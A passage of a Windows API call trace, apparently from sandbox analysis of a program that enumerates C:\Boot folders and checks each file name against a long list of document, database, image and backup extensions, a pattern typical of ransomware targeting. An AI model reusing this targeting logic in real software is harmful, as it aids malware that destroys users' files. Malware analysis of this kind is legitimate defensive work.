lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".potm") returned 5 [0090.624] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0090.624] lstrlenW (lpString=".potx") returned 5 [0090.624] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0090.624] lstrlenW (lpString=".ppa") returned 4 [0090.624] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".ppam") returned 5 [0090.624] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0090.624] lstrlenW (lpString=".ppm") returned 4 [0090.624] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".pps") returned 4 [0090.624] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".ppsm") returned 5 [0090.624] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0090.625] lstrlenW (lpString=".ppt") returned 4 [0090.625] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".pptm") returned 5 [0090.625] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0090.625] lstrlenW (lpString=".pptx") returned 5 [0090.625] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0090.625] lstrlenW (lpString=".prn") returned 4 [0090.625] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".ps") returned 3 [0090.625] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0090.625] lstrlenW (lpString=".psb") returned 4 [0090.625] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".psd") returned 4 [0090.625] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".pst") returned 4 [0090.625] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".ptx") returned 4 [0090.625] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".pub") returned 4 [0090.625] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".pwm") returned 4 [0090.625] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".pxr") returned 4 [0090.625] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0090.625] lstrlenW (lpString=".py") returned 3 [0090.625] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0090.625] lstrlenW (lpString=".qt") returned 3 [0090.626] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0090.626] lstrlenW (lpString=".r3d") returned 4 [0090.626] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0090.626] lstrlenW (lpString=".raf") returned 4 [0090.626] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0090.626] lstrlenW (lpString=".rar") returned 4 [0090.626] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0090.626] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0090.626] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0090.626] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0090.626] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0090.627] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0090.627] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0090.627] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0090.627] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.627] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0090.627] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0090.627] lstrlenW (lpString=".1cd") returned 4 [0090.627] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0090.627] lstrlenW (lpString=".3ds") returned 4 [0090.627] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0090.627] lstrlenW (lpString=".3fr") returned 4 [0090.627] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0090.627] lstrlenW (lpString=".3g2") returned 4 [0090.628] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0090.628] lstrlenW (lpString=".3gp") returned 4 [0090.628] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0090.628] lstrlenW (lpString=".7z") returned 3 [0090.628] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0090.628] lstrlenW (lpString=".accda") returned 6 [0090.628] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".accdb") returned 6 [0090.628] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".accdc") returned 6 [0090.628] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".accde") returned 6 [0090.628] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".accdt") returned 6 [0090.628] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".accdw") returned 6 [0090.628] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0090.628] lstrlenW (lpString=".adb") returned 4 [0090.628] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0090.628] lstrlenW (lpString=".adp") returned 4 [0090.628] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0090.628] lstrlenW (lpString=".ai") returned 3 [0090.628] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0090.629] lstrlenW (lpString=".ai3") returned 4 [0090.629] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".ai4") returned 4 [0090.629] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".ai5") returned 4 [0090.629] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".ai6") returned 4 [0090.629] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".ai7") returned 4 [0090.629] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".ai8") returned 4 [0090.629] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".anim") returned 5 [0090.629] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0090.629] lstrlenW (lpString=".arw") returned 4 [0090.629] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.629] lstrlenW (lpString=".as") returned 3 [0090.629] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.630] lstrlenW (lpString=".asa") returned 4 [0090.630] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".asc") returned 4 [0090.630] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".ascx") returned 5 [0090.630] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.630] lstrlenW (lpString=".asm") returned 4 [0090.630] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".asmx") returned 5 [0090.630] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.630] lstrlenW (lpString=".asp") returned 4 [0090.630] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".aspx") returned 5 [0090.630] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.630] lstrlenW (lpString=".asr") returned 4 [0090.630] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".asx") returned 4 [0090.630] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".avi") returned 4 [0090.630] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".avs") returned 4 [0090.630] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.630] lstrlenW (lpString=".backup") returned 7 [0090.631] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0090.631] lstrlenW (lpString=".bak") returned 4 [0090.631] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".bay") returned 4 [0090.631] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".bd") returned 3 [0090.631] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.631] lstrlenW (lpString=".bin") returned 4 [0090.631] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".bmp") returned 4 [0090.631] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".bz2") returned 4 [0090.631] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".c") returned 2 [0090.631] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.631] lstrlenW (lpString=".cdr") returned 4 [0090.631] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".cer") returned 4 [0090.631] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.631] lstrlenW (lpString=".cf") returned 3 [0090.685] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.685] lstrlenW (lpString=".cfc") returned 4 [0090.685] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.685] lstrlenW (lpString=".cfm") returned 4 [0090.685] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.685] lstrlenW (lpString=".cfml") returned 5 [0090.685] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0090.685] lstrlenW (lpString=".cfu") returned 4 [0090.686] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".chm") returned 4 [0090.686] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".cin") returned 4 [0090.686] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".class") returned 6 [0090.686] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0090.686] lstrlenW (lpString=".clx") returned 4 [0090.686] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".config") returned 7 [0090.686] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0090.686] lstrlenW (lpString=".cpp") returned 4 [0090.686] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".cr2") returned 4 [0090.686] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".crt") returned 4 [0090.686] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".crw") returned 4 [0090.686] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.686] lstrlenW (lpString=".cs") returned 3 [0090.686] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.686] lstrlenW (lpString=".css") returned 4 [0090.686] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".csv") returned 4 [0090.687] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".cub") returned 4 [0090.687] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dae") returned 4 [0090.687] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dat") returned 4 [0090.687] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".db") returned 3 [0090.687] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.687] lstrlenW (lpString=".dbf") returned 4 [0090.687] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dbx") returned 4 [0090.687] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dc3") returned 4 [0090.687] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dcm") returned 4 [0090.687] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dcr") returned 4 [0090.687] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".der") returned 4 [0090.687] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.687] lstrlenW (lpString=".dib") returned 4 [0090.687] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".dic") returned 4 [0090.688] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".dif") returned 4 [0090.688] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".divx") returned 5 [0090.688] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".djvu") returned 5 [0090.688] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".dng") returned 4 [0090.688] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".doc") returned 4 [0090.688] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".docm") returned 5 [0090.688] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".docx") returned 5 [0090.688] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".dot") returned 4 [0090.688] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".dotm") returned 5 [0090.688] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".dotx") returned 5 [0090.688] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0090.688] lstrlenW (lpString=".dpx") returned 4 [0090.688] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".dqy") returned 4 [0090.688] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.688] lstrlenW (lpString=".dsn") returned 4 [0090.689] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".dt") returned 3 [0090.689] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.689] lstrlenW (lpString=".dtd") returned 4 [0090.689] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".dwg") returned 4 [0090.689] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".dwt") returned 4 [0090.689] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".dx") returned 3 [0090.689] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.689] lstrlenW (lpString=".dxf") returned 4 [0090.689] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".edml") returned 5 [0090.689] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0090.689] lstrlenW (lpString=".efd") returned 4 [0090.689] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".elf") returned 4 [0090.689] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".emf") returned 4 [0090.689] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".emz") returned 4 [0090.689] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".epf") returned 4 [0090.689] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.689] lstrlenW (lpString=".eps") returned 4 [0090.689] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".epsf") returned 5 [0090.690] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0090.690] lstrlenW (lpString=".epsp") returned 5 [0090.690] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0090.690] lstrlenW (lpString=".erf") returned 4 [0090.690] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".exr") returned 4 [0090.690] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".f4v") returned 4 [0090.690] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".fido") returned 5 [0090.690] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0090.690] lstrlenW (lpString=".flm") returned 4 [0090.690] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".flv") returned 4 [0090.690] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".frm") returned 4 [0090.690] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".fxg") returned 4 [0090.690] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".geo") returned 4 [0090.690] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".gif") returned 4 [0090.690] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.690] lstrlenW (lpString=".grs") returned 4 [0090.690] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".gz") returned 3 [0090.691] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.691] lstrlenW (lpString=".h") returned 2 [0090.691] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.691] lstrlenW (lpString=".hdr") returned 4 [0090.691] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".hpp") returned 4 [0090.691] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".hta") returned 4 [0090.691] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".htc") returned 4 [0090.691] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".htm") returned 4 [0090.691] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".html") returned 5 [0090.691] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0090.691] lstrlenW (lpString=".icb") returned 4 [0090.691] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".ics") returned 4 [0090.691] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".iff") returned 4 [0090.691] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".inc") returned 4 [0090.691] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.691] lstrlenW (lpString=".indd") returned 5 [0090.692] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0090.692] lstrlenW (lpString=".ini") returned 4 [0090.692] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".iqy") returned 4 [0090.692] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".j2c") returned 4 [0090.692] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".j2k") returned 4 [0090.692] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".java") returned 5 [0090.692] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0090.692] lstrlenW (lpString=".jp2") returned 4 [0090.692] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".jpc") returned 4 [0090.692] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".jpe") returned 4 [0090.692] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".jpeg") returned 5 [0090.692] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0090.692] lstrlenW (lpString=".jpf") returned 4 [0090.692] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".jpg") returned 4 [0090.692] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.692] lstrlenW (lpString=".jpx") returned 4 [0090.692] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".js") returned 3 [0090.693] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.693] lstrlenW (lpString=".jsf") returned 4 [0090.693] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".json") returned 5 [0090.693] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0090.693] lstrlenW (lpString=".jsp") returned 4 [0090.693] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".kdc") returned 4 [0090.693] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".kmz") returned 4 [0090.693] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".kwm") returned 4 [0090.693] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".lasso") returned 6 [0090.693] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0090.693] lstrlenW (lpString=".lbi") returned 4 [0090.693] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".lgf") returned 4 [0090.693] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".lgp") returned 4 [0090.693] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".log") returned 4 [0090.693] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.693] lstrlenW (lpString=".m1v") returned 4 [0090.693] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.694] lstrlenW (lpString=".m4a") returned 4 [0090.694] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.694] lstrlenW (lpString=".m4v") returned 4 [0090.694] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.694] lstrlenW (lpString=".max") returned 4 [0091.304] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0091.304] lstrlenW (lpString=".md") returned 3 [0091.304] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0091.304] lstrlenW (lpString=".mda") returned 4 [0091.305] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mdb") returned 4 [0091.305] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mde") returned 4 [0091.305] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mdf") returned 4 [0091.305] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mdw") returned 4 [0091.305] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mef") returned 4 [0091.305] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mft") returned 4 [0091.305] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mfw") returned 4 [0091.305] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mht") returned 4 [0091.305] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mhtml") returned 6 [0091.305] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0091.305] lstrlenW (lpString=".mka") returned 4 [0091.305] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mkidx") returned 6 [0091.305] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0091.305] lstrlenW (lpString=".mkv") returned 4 [0091.305] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mos") returned 4 [0091.305] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0091.305] lstrlenW (lpString=".mov") returned 4 [0091.305] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mp3") returned 4 [0091.306] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mp4") returned 4 [0091.306] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mpeg") returned 5 [0091.306] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0091.306] lstrlenW (lpString=".mpg") returned 4 [0091.306] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mpv") returned 4 [0091.306] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mrw") returned 4 [0091.306] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".msg") returned 4 [0091.306] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0091.306] lstrlenW (lpString=".mxl") returned 4 [0091.306] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 